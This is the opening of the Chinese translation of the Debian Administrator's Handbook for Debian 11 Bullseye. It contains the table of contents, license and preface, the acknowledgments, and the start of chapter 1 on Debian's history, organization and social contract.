Debian 管理员手册

目录

序

前言

1. Debian 项目

1.1. 什么是 Debian？

1.2. 基础文档

1.3. Debian 项目的内部工作

1.4. 跟踪 Debian 最新消息

1.5. 发行版的角色

1.6. 发布周期

2. 案例呈现

2.1. 高速增长的IT需求

2.2. 总体规划

2.3. 为什么选择 GNU/Linux 发行版？

2.4. 为什么选择 Debian 发行版？

2.5. 为什么选择 Debian Bullseye？

3. 分析当前设置与迁移

3.1. 在异构环境中共存

3.2. 如何迁移

4. 安装

4.1. 安装方式

4.2. 安装，一步一步来

4.3. 在首次启动之后

5. 包管理系统：工具和基本原则

5.1. 二进制包的结构

5.2. 软件包元信息

5.3. 源码包的结构

5.4. 通过dpkg来操作软件包

5.5. 与其它软件包共存

6. 维护和更新：APT 工具

6.1. 编写 sources.list 文件

6.2. aptitude、apt-get和 apt 命令

6.3. The apt-cache 命令

6.4. apt-file 命令

6.5. 前端：aptitude、synaptic

6.6. 检查软件包真实性

6.7. 升级至下个稳定发行版

6.8. 保持系统在最新状态

6.9. 自动升级

6.10. 搜索软件包

7. 问题的解决与相关信息的检索

7.1. 文档资源

7.2. 通常步骤

8. 基础配置：网络，账户，打印……

8.1. 用其他语言进行配置

8.2. 配置网络

8.3. 设置主机名称与配置名称服务

8.4. 用户与群组数据库

8.5. 添加帐号

8.6. Shell 环境

8.7. 打印机配置

8.8. 配置引导加载器（Bootloader）

8.9. 其他配置：时间同步、日志记录、共享访问…

8.10. 编译内核

8.11. 安装内核

9. Unix 服务

9.1. 系统启动

9.2. 远程登录

9.3. 管理权限

9.4. 管理员界面

9.5. syslog 系统事件

9.6. inetd 超级服务器

9.7. 使用 cron 和 atd运行计划任务

9.8. 异步调度任务：anacron

9.9. 配额

9.10. 备份

9.11. 热插拔： hotplug

9.12. 电源管理：高级配置与电源接口 (ACPI)

10. 基本网络设置

10.1. 网关

10.2. X.509 认证

10.3. 虚拟专用网络

10.4. 品质服务

10.5. Dynamic Routing

10.6. IPV6

10.7. Domain Name Servers (DNS)

10.8. DHCP

10.9. 网络诊断工具

11. 网络服务：Postfix、Apache、NFS、Samba、Squid、LDAP、SIP、XMPP、TURN

11.1. 邮件服务器

11.2. Web 服务器（HTTP）

11.3. FTP文件服务器

11.4. NFS 文件服务器

11.5. 用 Samba 设置 Windows 共享

11.6. HTTP/FTP 代理

11.7. LDAP 目录

11.8. 实时通信服务

12. 高级管理

12.1. RAID 和 LVM

12.2. 虚拟化

12.3. 自动安装

12.4. 监控

13. 工作站

13.1. 配置 X11 服务

13.2. 定制图形界面

13.3. 图形桌面

13.4. 邮件

13.5. 网页浏览器

13.6. 开发

13.7. 办公软件包

13.8. 模拟 Windows：Wine

13.9. 即时通讯软件

14. 安全

14.1. 定义安全策略

14.2. 防火墙或者包过滤

14.3. 监督：预防，检测，威慑

14.4. AppArmor 简介

14.5. SELinux 简介

14.6. 其他安全相关事项

14.7. 处理被攻陷的机器

15. 创建 Debian 软件包

15.1. 从源码重新构建安装包

15.2. 构建您的第一个软件包

15.3. 创建用于 APT 的软件包仓库

15.4. 成为软件包的维护者

16. 结论：Debian的未来

16.1. 即将来临的新开发阶段

16.2. Debian的未来

16.3. 这本书的未来

A. 衍生发行版

A.1. 调查和合作

A.2. Ubuntu

A.3. Linux Mint

A.4. Knoppix

A.5. Aptosid 和 Siduction

A.6. Grml

A.7. Tails

A.8. Kali Linux

A.9. Devuan

A.10. DoudouLinux

A.11. Raspbian

A.12. PureOS

A.13. SteamOS

A.14. 其它更多

B. 简短辅导课程

B.1. Shell 和基本命令

B.2. 文件系统层次结构的组织

B.3. Inner Workings of a Computer: the Different Layers Involved

B.4. 由内核处理的一些任务

B.5. 用户空间

Debian 管理员手册

Debian Bullseye 从入门到精通

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

版权 © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

版权 © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

版权 © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

国际标准书号：979-10-91414-21-0（英文纸质版）

国际标准书号：979-10-91414-22-7（英文电子版）

本书遵照两种与 Debian 自由软件指引相兼容的许可证来提供。

创作共用许可公告：.  本书以创作共用-署名-相同方式共享未本地化许可证授权。

→ http://creativecommons.org/licenses/by-sa/3.0/

GNU 通用公共许可公告：.  本书是自由文档，你可以遵照自由软件基金会出版的GNU通用公共许可证条款来修改和重新发布本书。或者用许可证的第二版，或者（根据你的选择）用任何更新的版本。

发布本书的目的是希望它有用，但没有任何担保。甚至没有适合特定目的的隐含的担保。更详细的情况请参阅GNU通用公共许可证。

您应该已经和程序一起收到一份 GNU 通用公共许可证的副本。如果还没有，请见 https://www.gnu.org/licenses/。

表达你的谢意

本书是以自由的许可证发布的，因为我们希望任何人都能从中受益。维护它花费了大量的时间和精力，所以我们愿意为此得到感谢。如果你觉得本书物有所值，请考虑为持续的维护贡献你的力量：购买本书的纸质版，或者通过本书的官方网站捐助我们：

→ https://debian-handbook.info

摘要

一本介绍 Debian 发行版的书，从初始的安装过程到配置各种服务。

序

我很高兴可以借此机会向你们介绍 Debian 和 Debian 管理员手册。许多用户都选择了 Debian：互联网上大约 10% 的网页服务器运行着 Debian。如果再算上基于 Debian 的系统，这个数字会接近 20%。国际空间站也曾选择 Debian 作为他们的操作系统。不论是前沿物理研究，还是对抗污染帮助种植粮食，运行着 Debian 的计算机让这些成为可能。

为什么 Debian 会在大型公司，研究者，积极分子和爱好者如此受欢迎呢？我认为这源自于 Debian 的灵活性和社区。

Debian 是灵活的。是的，Debian 是一个出色的开箱即用的通用型操作系统。它提供的工具也足以把 Debian 自定义为任何你自己需要的工作环境。无论是云还是容器架构、有大量工具的工作站，个人计算机，还是其他设备，Debian 的灵活性都让它能在这些环境中良好地工作。你总能找到符合你需求的工具和示例。

Debian 社区为形形色色的个人和兴趣提供了交流机会：来自最大的企业的开发者和志愿者，研究者和用户一同工作。无论是安全专家，网页开发者，系统工程师还是架构师，我们都会有所代表。你也可以成为这个社区的一员。如果你有方法让 Debian 变得更好，我们欢迎你的贡献。

我们聚在一起是为了创造一个世界级的免费的操作系统。没有哪家公司控制 Debian，没有什么议程定义我们的工作，我们每一个人都拥有让 Debian 变得更好的能力。感谢你查看我们的成果。我希望你会喜欢。

这本手册是一种很好的探索 Debian 的方式。多年来如果有朋友想对 Debian 有更多了解我都会推荐它。我也很高兴现在有机会可以把它推荐给更多的人。这本手册是由 Debian 社区的长期成员书写和维护的。他们中的一些同时参与开发这个操作系统的人一起合作来帮助你们了解这个操作系统。同时，这本手册的开发过程当然也采取了和开发 Debian 本身类似的强调自由的社区合作方式。

2019 年 8 月

Sam Hartman（Debian 项目领导人）

前言

最近几年以来，Linux 变得越来越强大，其日益增长的名气使得越来越多的用户开始转而使用它。投奔 Linux 的第一步便是选择一个发行版本。这是一个重要的抉择，因为每种发行版本都有其自身的特殊性，如果一开始就做了正确的选择，那么便能避免未来的迁移成本。

基础知识： Linux 发行版本与 Linux 内核

严格意义上说，Linux 只是一个内核，是处于硬件与应用程序之间的核心软件。

“Linux 发行版本”则是一个完整的操作系统，通常包括 Linux 内核，安装程序，大部分重要的应用程序和其它能把电脑变得有用的软件。

Debian GNU/Linux 是一个“通用”的 Linux 发行版本，适合于大多数用户。本书的目的便是介绍它的各个方面，从而帮助你在面临选择时作出明智的决定。

1. 为什么写这本书？

文化： 商业发行版本

多数 Linux 发行版由商业公司提供了支持。这些公司以营利为目的，在特定商业模式下开发并销售 Linux 发行版本。例子有 Canonical 公司开发的 Ubuntu、作为 IBM 子公司的 Red Hat, Inc.（红帽）公司开发的 Red Hat Enterprise Linux 和 EQT Partners 的子公司 SUSE Software Solutions Germany GmbH 维护并提供商业销售的 SUSE Linux。

而另一方面，也存在着诸如 Debian 和 Apache 软件基金会（主持开发 Apache web 服务器）这样的角色，它们隶属于自由软件阵营。尤其是 Debian 计划，它是完全由志愿者通过互联网共同协作开发的。尽管其中的某些人在不同的公司中带薪工作，且对 Debian 的贡献是他们工作的一部分，这个项目整体上则不依靠于任何特别的公司，也没有任何一个公司在项目事务上拥有和纯粹的志愿贡献者们相比更加重要的话语权。

数年以来，Linux 在媒体报道中已颇具篇幅，并且这种趋势仍在增长，例如受到了虚拟主机、嵌入式系统和人工智能领域的大力推动，而受益于媒体报道的绝大部分是那些有着真正市场部门的发行版——换言之，是有公司支持的发行版（Ubuntu，Red Hat，SUSE 等等）。然而 Debian 远远不是所谓的边缘化发行版；一些研究表明，这些年来 Debian 被广泛用于服务器和桌面电脑。在网页服务器领域尤其如此，Debian 和 Ubuntu 在这方面是居于领先地位的 Linux 发行版。

→ https://w3techs.com/technologies/details/os-linux/all/all

本书的目的是帮助您探索这个发行版。做为 Debian 项目的开发者和贡献者，我们希望分享我们自加入到这个项目以来积累的点滴经验（Raphaël 自1998年加入，Roland 自2000年加入）。运气好的话，我们的热情将会感染大家，也许您有一天也会加入我们……

本书的第一版（2004年）填补了一个空白：这是第一本法语写的，完全专注于 Debian 的书。当时，其实有许多同类主题的书，是为法语和英语读者写的。不幸的是，它们几乎没有更新过。经过若干年，情况又回落到关于 Debian 的好书少之又少的情况。我们真诚地希望，本次的英文版本（以及从英文版本翻译得来的一些其它语言的版本）能填补这一空白，并帮助更多用户。

2. 本书为谁而写？

我们试图让本书适用于不同类型的读者。首先，系统管理员（不管是初学者还是经验老道的）将会在书中找到关于在多台计算机上安装和部署 Debian 的说明；他们也将获得一个列表，罗列 Debian 所能提供的大多数服务，附带匹配的配置说明和发行版相关的细节描述；为使他们能够处理不可预见的问题，通过本书可了解 Debian 开发中所涉及的种种机制，并且让他们知道总能从社区中得到帮助。

其它 Linux 发行版，或是 Unix 变种的用户，将会在书中发掘 Debian 的特性，并能在充分受益于 Debian 发行版独特优势的同时，很快投入实用。

最后，对于已经具备一些 Debian 相关知识的读者，若想揭开 Debian 背后社区的神秘面纱，本书将能满足这个愿望；并且，读者若有意作为贡献者加入 Debian 社区，亦将发现本书可助其一臂之力。

3. 一般方法

所有你能找到的适用于 GNU/Linux 的通用文档也适用于 Debian，因为 Debian 包括最常见的自由软件。不过，作为一个发行版， Debian 带来了许多改进，这就是为什么我们写本书时着重描述如何以“Debian 风格”行事。

按照 Debian 推荐的方式做事是很有意思的，但若能理解其基本原理则更好。因此，我们不会仅局限于操作说明上，我们也将描述项目内部的运作机制，以便提供读者全面和一致的认知。

4. 本书结构

本书所涉及的所有主题都将围绕一个具体的、提供支持和演示的实例展开讨论和说明。

笔记网站，作者的电子邮件

本书拥有自己的网站，该站点上放了许多可以丰富本书的元素。值得一提的是，本书的在线电子版就可以在该网站上找到，这个版本包含了可点击的链接和可能的勘误表。请尽情浏览该网站并给我们一些反馈。我们将很乐意阅读您的意见或支持消息。请将它们发送电子邮件到 <hertzog@debian.org> (Raphaël) 和 <lolando@debian.org> (Roland)。

→ http://debian-handbook.info/

第一章集中探讨介绍 Debian 项目非技术性方面的内容，同时描述该项目的目标和组织结构。这些方面的内容较为重要，因为它们定义了一个总体框架，其它章节将围绕该框架完成更具体的信息介绍。

第二章和第三章提供了一个清晰的范例分析大纲。新手读者可能需要花时间去阅读附录B，那是一个简短的补习课程，解释了一些基本计算机概念，以及任何 Unix 系统固有的概念。

讲到实际的主题，我们很自然地从安装过程开始（第四章）；第五章和第六章展现了任何 Debian 管理员都会使用到的一些基本工具，例如令这个发行版拥有卓越声誉的 APT 工具族。这些章节可不是仅供专业人员看的，因为每个人在家里都是自己电脑的管理员。

第七章是个重要的章节：它描述了如何有效地使用文档，以及快速理解问题的本质，以便解决它们。

接下来的章节将开启对系统更深入了解的旅程，从基本的架构和服务（第八章到第十章）开始，慢慢讲到用户程序（第十三章）。第十二章处理一些较为进阶的主题，直接与绝大多数管理着大量计算机（包括服务器）的管理员们息息相关；第十四章则是针对计算机安全这个大主题做了简要介绍，并给出一些关键提示以避免大多数的问题。

第十五章是为那些想走得更远，想创建自己的 Debian 软件包的管理员而准备的。最后，第十六章描述了 Debian 可能的未来。

关键词 Debian 软件包

Debian 软件包是一种存档格式，它包含了安装一个软件将用到的所有文件。它通常是一个带 .deb 扩展名的文件，并且能被 dpkg命令所处理。它又被称为二进制包，包含了能直接被使用的文件（如程序或文档）。另一方面，源码包包含软件的源代码，以及如何编译二进制包的指令说明。

目前的版本已经是本书的第十版（本书的前四版只有法语）。 此版本涵盖 Debian 11，其代号为 Bullseye 。 在这些更改中，Debian 现在支持 UEFI 安全启动，从而提供了一些额外的安全性来抵御对启动基础结构的攻击。新计算机大多默认启用了 Secure Boot，Debian 10 在这些机器上安装起来也更加容易。同样在安全级别上，默认情况下现在启用了 AppArmor，这是一种强制访问控制系统，用于管理各种应用程序的执行权限。所有包含的软件包都已更新，包括 GNOME 桌面（现在为 3.38 版）。

我们在侧边栏加了一些笔记和评注。它们有很多作用：让一个难点引起你的注意，对一个实例研究作个备注，定义一些术语，或者只是提醒一下。这有一个常用侧边栏的列表：

- 基础知识：关于一些默认应该知道的信息的提醒；

- 关键字：定义一个技术用语，有时候是 Debian 特定的用语；

- 社区：Debian 项目相关的重要的人或角色；

- 政策：Debian Policy 中的规则或建议。Debian Policy 是 Debian 项目的重要文档，描述如何打包软件。本书中引用到的部分政策带给用户直接的好处（例如，知道了政策要求文档和示例的路径标准后，就算是面对一个新软件包也能很容易找到它们）；

- 工具：提供相关的工具或服务；

- 实践：理论和实践不总是对应的；这类的侧边注记包含我们经过实践检验的意见，或者是详细而具体的例子；

- 其它或多或少的侧边注记就很明显了：文化、技巧、注意、更多、安全等等。

5. 贡献

本手册的开发类似于自由软件项目，十分欢迎你们的反馈和帮助。最明显的贡献方式就是帮助把手册翻译为你的本地语言。但这不是唯一的可能性。你也可以向我们反馈错误、错字及过时的信息，或者一些我们非常应该涉及的话题向我们提交缺陷报告。或者你也可以把你发现的错误的修复方法通过合并请求发给我们。

所有向本手册提交贡献的说明都记录在本手册的网页上：

→ https://debian-handbook.info/contribute/

6. 致谢

6.1. 小历史

2003年，Nat Makarévitch 联系了 Raphaël，因为他想出版一本关于 Debian 的书，作为他为 Eyrolles －一个法国著名的技术书籍编辑 － 管理的 Cahier de l'Admin（管理员手册）系列丛书之一。Raphaël 立即答应去写这本书。第一版是在2004年10月14日完成的，并且获得了巨大成功 － 仅仅四个月之后就销售一空。

从那以后，我们又发行了这本法语书的其它 7 个版本，每个版本都对应着后续的 Debian 版本（除了 Debian 9 之外）。Roland，刚开始是校对者，后来慢慢地变成了共同执笔人。

我们很显然对本书的成功感到满意，所以也经常希望 Eyrolles 能说服一个国际编辑把它翻译成英文。我们收到海量的评论说本书如何帮助他们开始使用 Debian，所以我们也热衷于让本书以同样的方式造福更多的人。

唉，可惜我们联系过的所有英文编辑都不愿承担风险来翻译并出版本书。不过这种小挫折打不倒我们，我们与我们的法文编辑 Eyrolles 协商，把翻译成英文版的权利拿了回来，然后尝试自己出版发行。感谢一场成功的 众筹活动 ，我们在 2011 年 12 月到 2012 年 5 月之间翻译了本书，《Debian 管理员手册》诞生并以自由软件协议发行！

尽管这是一个重要的里程碑，我们已经意识到了只要我们无法将法文版作为英文版的正式翻译版本，那么故事就不会结束。当时我们还不可能这么做，因为当时法文版书籍仍然由 Eyrolles 使用非自由的许可证商业发行。

2013年时，Debian 7 的发布给了我们和 Eyrolles 商讨签署新合约的好机会。我们说服他们一个更加与 Debian 的价值观相符合的许可会为这本书的成功带来好处。这个交易并不容易，我们同时同意了进行另一次 众筹活动 用于支付某些费用并降低其中的风险。这次行动又取得了巨大的成功，2013 年 7 月，我们为《Debian 管理员手册》添加了法语翻译版。

我们要感谢所有为这些募捐活动出力的人们，无论是捐了钱的还是帮我们广为宣传的。没有你们我们无法完成这一切。

为了节约一些纸张，在筹款活动的 5 年、两个后续版本之后，我们删去了那些选择作为回报在手册中提及他们姓名的人的列表。但这些名字已经永远地铭记在了本手册的 Wheezy 版本：

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. 对贡献者的特别致谢

没有几个在翻译过程和后来各自都扮演了重要角色的人的贡献，本书也不会有今天。我们要感谢Marilyne Brun，她帮我们翻译了示例章节并和我们一起制订了通用翻译准则。她也帮我们修订了几个绝对需要再做些修改的章节。感谢Anthony Baldwin（来自 Baldwin Linguas）为我们翻译了好几个章节。

由于 Roland 和我都太忙了无法更新本手册的 Debian 11 版本，我们于是把从捐赠和销售获得的不多的收入用来雇佣一些贡献者来做大部分工作。非常感谢 Jorge Maldonado Ventura 和 Daniel Leidert 为这次更新所付出的艰苦工作。

我们从校对者那里得到很多帮助，他们是 Daniel Phillips，Gerold Rupprecht，Gordon Dey，Jacob Owens 和 Tom Syroid。他们每个人都校检了很多章节。非常感谢！

然后随着英文版的自由化，我们显而易见从读者中得到了很多，也等着把这本书翻译成其它语言版本的众多小组中得到了更多的反馈、建议和更正。 谢谢！

我们也要感谢几位法文版的读者，他们给了我们不错的评价，让我们知道我们的翻译是值得的，感谢你们：Christian Perrier，David Bercot，Étienne Liétart 和 Gilles Roussi。Stefano Zacchiroli 是在大集市募捐活动时的 Debian 项目领导人，感谢他支持我们的活动，并解释了为什么自由版权的书是非常重要的。

如果你有幸是在看本书的纸质版，那么你要和我们一起感谢 Benoît Guillon，Jean-Côme Charpentier 和 Sébastien Mengin，他们为书本内页做了设计。Benoît 是 dblatex 的上游作者，我们就是用它来把 DocBook 格式转换成 LaTeX 格式（再转成 PDF 格式）。Sébastien 是创造了这个优美布局的设计师，Jean-Côme 则是把它实现成 dblatex 可用的样式表的 LaTeX 专家。感谢你们的辛勤工作！

最后，感谢 Thierry Stempfel 为每一章带来的精美图片，感谢 Doru Patrascu 的漂亮的封面。

6.3. 对翻译者的感谢

从本书被自由化后，有许多志愿者在忙于将其翻译成大量其它的语言，例如阿拉伯语、巴西葡萄牙语、德语、意大利语、西班牙语、日语、挪威 Bokmål 等等。可以在本书的网站上找到翻译的完整列表：https://debian-handbook.info/get/#other

我们对所有翻译者和翻译复查者们表示感谢。你们的工作将 Debian 带到千百万的无法阅读英语的人们手中，价值不可估量。

6.4. Raphaël 的个人致谢

首先，我要感谢 Nat Makarévitch，是他给了我写这本书的机会，并且在我写它的这些年给了我强而有力的指导。也感谢 Eyrolles 的优秀团队，特别是 Muriel Shan Sei Fan。她对我很有耐心，我也从她那里学到很多。

在 Ulule 活动期间我压力很大，但我很感谢每个帮助我使它成功的人，特别是 Ulule 团队，我的很多请求他们都能很快地反馈。也感谢每一个宣传推广这个活动的人。我没有详尽的名单（如果有的话可能太长了），但我要感谢其中一些与我接触过的人：OMG! Ubuntu 的 Joey-Elijah Sneddon 和 Benjamin Humphrey，April.org 的 Frédéric Couchet，Linux Weekly News 的 Jake Edge，Linux Mint 的 Clement Lefebvre，Distrowatch 的 Ladislav Bodnar，Debian-Administration.org 的 Steve Kemp，Debian-News.net 的 Christian Pfeiffer Jensen，LinuxScrew.com 的 Artem Nosulchik，Gandi.net 的 Stephan Ramoin，Bytemark.co.uk 的 Matthew Bloch，Divergence FM 的小组，Linux New Media 的 Rikki Kite，Jono Bacon，Eyrolles 的营销部门和许多其他我没能记住的人（抱歉）。

我要特别感谢我的共同执笔人 Roland Mas。我们从一开始就合作这本书，他总是敢于直面挑战。我必须承认，完成这本书 《Debian 管理员手册》的工作量真是大……

最后，感谢我的妻子 Sophie。不论是对这本书的工作还是对整个 Debian 的工作她都非常支持我。有太多个日日夜夜，为了在本书上取得一些进展，我不得不把她和两岁的儿子丢在一边。我非常感激她的支持，我知道我能拥有她是多么地幸运。

6.5. Roland 的个人致谢

好吧，Raphaël 把很多我的“对外”感谢都先说了，但我还是要强调我个人对 Eyrolles 的好伙计们的感激，和他们的合作总是那么地愉快而顺畅。希望他们的优秀建议并没有在翻译中被埋没。

我极度感谢 Raphaël 负责了本书英文版的管理部分工作。从组织基金活动到书本布局的最终细节，制作一本译本比翻译和校对要多很多工作，Raphaël 把这些工作都做了（或委派、监督其他人做了）。太感谢了。

也感谢那些对本书或多或少有直接贡献的人们，例如那些提供澄清和解释，或者提供翻译建议的人们。他们太多了不好一一列举，但大多数都能在各个 #debian-* 的 IRC 频道里找到。

当然前面这几部分人里肯定是有重复的，但接下来还是要特别感谢的就是直接在为 Debian 努力的人们。没有他们就不会有这么一本书。Debian 项目作为一个整体能对任何人和所有人开放，对此我至今依然赞叹不已。

更多的个人感谢给予我的朋友们和客户们，我在为这本书努力的时候变得不太响应其他事情，感谢他们的理解，也感谢他们一贯的支持、鼓励和鼓动。是谁你懂的。谢谢。

最后，我确信他们会因为在这里被提到而吃惊，可我还是要把我的感谢再加给 Terry Pratchett，Jasper Fforde，Tom Holt，William Gibson，Neal Stephenson，当然还有已故的 Douglas Adams。无数个小时畅享他们的书，直接使我有能力参与翻译本书并续写新的篇章。

第 1 章 Debian 项目

在深入涉及到相关技术之前，让我们看一看什么是 Debian 项目，它的目标、意义是什么以及它是如何运转的。

1.1. 什么是 Debian？

文化 Debian 名称的起源

没有什么特别的：Debian 不是一个缩写词。它的名字实际上是两个姓氏的组合：Ian Murdock，和他那时的女朋友，Debra。所以就有了 Debra + Ian = Debian。

Debian 是一个 GNU/Linux 的发行版。我们稍后将会详细地讨论什么是发行版第 1.5 节 “发行版的角色”。但是当前情况下，我们暂且将其简单地归纳为一个完整的操作系统，包括软件和系统的安装及管理，所有的这些都基于 Linux 内核和自由软件（尤其是来自 GNU 项目的自由软件）。

当他在自由软件基金会（FSF）的领导下于1993年创建 Debian 时，Ian Murdock 有清晰的目标，他在 Debian Manifesto 中对其作了阐述。他所追求的自由操作系统将有两个首要的特性。第一点是质量：Debian 将在最大的关怀与努力下进行开发，以与 Linux 内核相配。另外，它同样将是一个非商业化的发行版，足够可靠而能够和主流商业发行版相竞争。在他眼里，这两个雄心壮志只能以开放 Debian 开发过程的方式达成，正如 Linux 和 GNU 工程所做的那样。因此，互帮互查将能够持续地改进这个项目。

文化 GNU，自由软件基金会（FSF）的工程

GNU 工程是一系列由自由软件基金会（FSF）开发或赞助的自由软件，由其标志性领袖，理查德·M·斯托曼（Richard M. Stallman）发起。GNU 是一个递归缩写，代表“GNU 不是 Unix（GNU is Not Unix）”。

文化 理查德·斯托曼

FSF 的建立者和 GNU 通用公共许可证（GPL）的作者，理查德·M·斯托曼（通常用他的名称首字母指代，即 RMS）是自由软件运动的一个具有魅力的领导人物。因其具有毫不妥协的态度，并不是所有人都对他表示赞美。但他对自由软件的非技术性贡献（尤其是法律和哲学层面）则被所有人所尊重。

1.1.1. 一个多平台操作系统

社区 伊恩·默多克的旅程

伊恩·默多克是 Debian 项目的创立者，也是该项目从1993年至1996年的第一任领导者。在把接力棒交给 Bruce Perens 之后，伊恩不经常参与公众活动。他回到了自由软件社区的背后工作，为了尝试商业发行一个 Debian 的衍生发行版建立了 Progeny 公司。遗憾的是，这次冒险尝试是一个商业失败，开发活动也被放弃了。公司在经历了几年的摸爬滚打之后，以一个服务提供商的身份最终于2007年的4月破产。在 Progeny 发起的各个项目中，只有 discover 继续存在。这是一个自动硬件检查工具。

Ian Murdock 于 2015 年 12 月 28 日在旧金山去世，在此前他曾发布一系列推特声称自己遭受警察的袭击。2016 年 7 月发布的通告宣布他的死因是自杀。

Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. Currently, it officially supports nine hardware release architectures and several variations of each architecture known as “flavors”, and also other kernels like FreeBSD, although the FreeBSD-based ports are not part of the set of officially supported architectures either. Furthermore, with more than 31,000 source packages, the available software can meet almost any need, whether at home or in the enterprise.

发行版的超大体积很不方便：用18张DVD-ROM光盘（只包含符合 "自由软件" 要求的软件包）在标准个人电脑上安装完整的版本是很不合理的……这就是 Debian 渐渐被看作所谓“超发行版”的原因，人们可以从中抽取针对特别受众的特定版本：用于科学研究的 Debian Science 版本，用于学术环境的教育与教学的 Debian Edu 版本，用于医学应用的 Debian Med 版本，供青少年使用的 Debian Jr. 版本，等等。更完整的子项目清单可在专门的章节找到，请参阅 第 1.3.3.1 节 “Existing Debian Sub-Projects and Blends”。

这些 Debian 的组成部分由定义清晰的框架组织而成，保证“子发行版”之间互相兼容、互不干扰。它们全部采用一致的方案发布新版本。同时它们都基于相同的基础构建而成，可以轻松地使用 Debian 仓库中的软件进行扩展、完善和个性化配置。

所有 Debian 的工具都遵循这个指导方向：debian-cd 已经存在很长时间了，它可以用来创建一组光盘，其中仅包含一系列预先选择的软件包；debian-installer 也是一个模块化的安装工具，易于适应不同的需求。APT 可以使用不同的来源安装软件包，同时保证系统整体的一致性。

工具 创建 Debian 安装 CD 光盘/DVD 光盘/USB 镜像

debian-cd 创建即时可用的安装媒介（如 CD、DVD、蓝光、USB 等）的 ISO 镜像。所有关于这个软件的讨论（使用英文）均在 <debian-cd@lists.debian.org> 这个邮件列表中进行。该团队由 Steve Mclntyre 领导，他同时控制着官方的 Debian 镜像构建过程。

As debian-cd has become a quite complex tool, the simple-cdd package contains a wrapper around it to easily create customized installation media.

基本知识 每台电脑，都有它的架构

术语 “architecture（架构）” 表明了计算机的类型（最为人所知的就是 Mac 或是 PC 了）。每一种架构的主要区别在于它使用的处理器，通常不同的处理器之间是不能兼容的。这些硬件的不同包含了大量不同的操作方法，因此需要为每种不同的架构分别编译软件。

Debian 项目中可获取的大多数的软件都是用可移植编程语言编写的：相同的源代码可以为不同的架构编译。事实上，一个可执行的二进制文件，通常都是为特定的架构编译的，在任何其他架构的机器上几乎都无法运行。

记住每一个程序都是通过编写源代码来的；源代码就是包含了各种所使用的编程语言的指令的文本文件。在你可以使用程序之前，源代码需要被编译，意思是需要把源代码转换成二进制文件（一系列处理器可以执行的机器指令）。每一种编程语言都有一个特定的编译器来执行这个操作（例如：gcc 是 C 语言的编译器）。

工具 安装程序

debian-installer 是 Debian 安装程序的名字。它的模块化设计令他可以应用于各种各样的安装场景。开发工作在 Cyril Brulebois 的指导下沟通协调于 <debian-boot@lists.debian.org> 邮件列表。

1.1.2. 自由软件的质量

Debian 遵循所有的自由软件的原则，在充分准备好之前新版本不会释出。开发者不会被时间表限定需要追赶一个随意的截止日期。人们经常抱怨 Debian 发布稳定版之间的时间间隔过长，但这样的谨慎保证了 Debian 一贯的可靠性：在赋予全发行版“稳定”标签之前长时间的测试确实是必要的。

Debian 不会在质量问题上妥协：核心软件包中众所周知严重缺陷都会在新版本中得到解决，即使需要推迟已经公布的发布日期。可选软件包的严重缺陷如果没有被修复则无法达到质量要求，因此会直接从稳定版中移除。

1.1.3. 法律框架：非营利组织

从法律上来说，Debian 是一个由美国的非营利志愿者协会管理的项目。这个项目大约有一千左右的 Debian 开发者，但是聚集了远超这个数的贡献者（翻译者，bug 报告者，艺术家，临时开发者等）。

为了完成使命，Debian 拥有一个巨大的基础架构，由许多赞助者提供的服务器连接在因特网上。

社区 在 Debian 的背后有 SPI（Software in the Public Interest）与当地分支机构的帮助

Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest (SPI) association, which manages the hardware and financial aspects (donations, purchase of hardware, etc.). Although it was initially created specifically for the Debian project, this association now hosts other free software projects, for example the PostgreSQL database, the Freedesktop.org project for standardization of various parts of modern graphical desktop environments (such as GNOME and KDE Plasma), and the LibreOffice office suite.

→ https://www.spi-inc.org/

在 SPI 之外，各种地区协会与 Debian 密切协作来为 Debian 项目筹措资金，使得不必要所有事情都集中在美国；在 Debian 项目的语汇中这些协会被称作 “可信组织” 。这样的设置避免了过高的国际交流成本，同时也契合了项目本身的去中心化的理念。

不要犹豫，加入你所在的当地协会来支持 Debian 项目吧！

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. 基础文档

在项目发起的几年之后，Debian 确定了需要遵循自由软件项目形式的原则。这个慎重而积极的决定使得项目有序而稳定的成长并且确保了所有的成员向同一个方向前进。要成为一个 Debian 的开发者，任何的候选人必须承诺并且证明他们能够支持并且坚守建立在项目的基础文档上的原则。

开发的过程不断被讨论，然而这些基金会文件被广泛接受认可，因而很少更改。Debian 宪章也为这些稳定性提供了额外的保证：任何修订案都需要获得四分之三有资质者的同意才能获得通过。

1.2.1. 对用户的承诺

这个项目同样也有一份“社会契约”。这样一个文本在这个项目中只是为了一个操作系统的开发而存在的么？答案很简单：Debian 为用户工作，因此，推广来说，是为了社会工作。这份契约总结了这个项目所承担的承诺。让我们从更详细的细节中来学习它们：

1. Debian 将始终是 100% 的自由软件。
准则一：Debian 是并且还将继续保持完全由自由软件组成。另外，所有由 Debian 项目开发的软件与它自身都会是自由软件。

视角 在软件之外

第一版的 Debian 社会契约中说“Debian 将会始终保持 100% 的自由软件”。最后这个词的弃用（在 2004 年 4 月正式启用的 1.1 版社会契约中）指出了实现自由的愿景，不仅仅是在软件上，也同时在 Debian 期望与操作系统一起提供的文档和其它的元素中。

这个改变，仅仅是作为对编辑的影响，事实上，有数不清的影响，特别是要移除一些有问题的文档。此外，在驱动中使用固件的增长带来了问题：许多是非自由的，然而在适当操作硬件时与固件的通信又是必需的。

2. 我们会回馈自由软件社区。
任何被整合到发行版中的由 Debian 项目贡献的改进都会被反馈到作者（称为“上游”）。通常的，Debian 会与社区合作而不是独立工作。

社区 上游作者，或是Debian开发者？

术语“上游作者”指的是工作的作者/开发者，是编写与开发软件的人员。另一方面，“Debian 开发者”通常使用更直观的工作来使软件加入到 Debian 包中（此处使用术语“Debian 维护者”更为适当一些）。

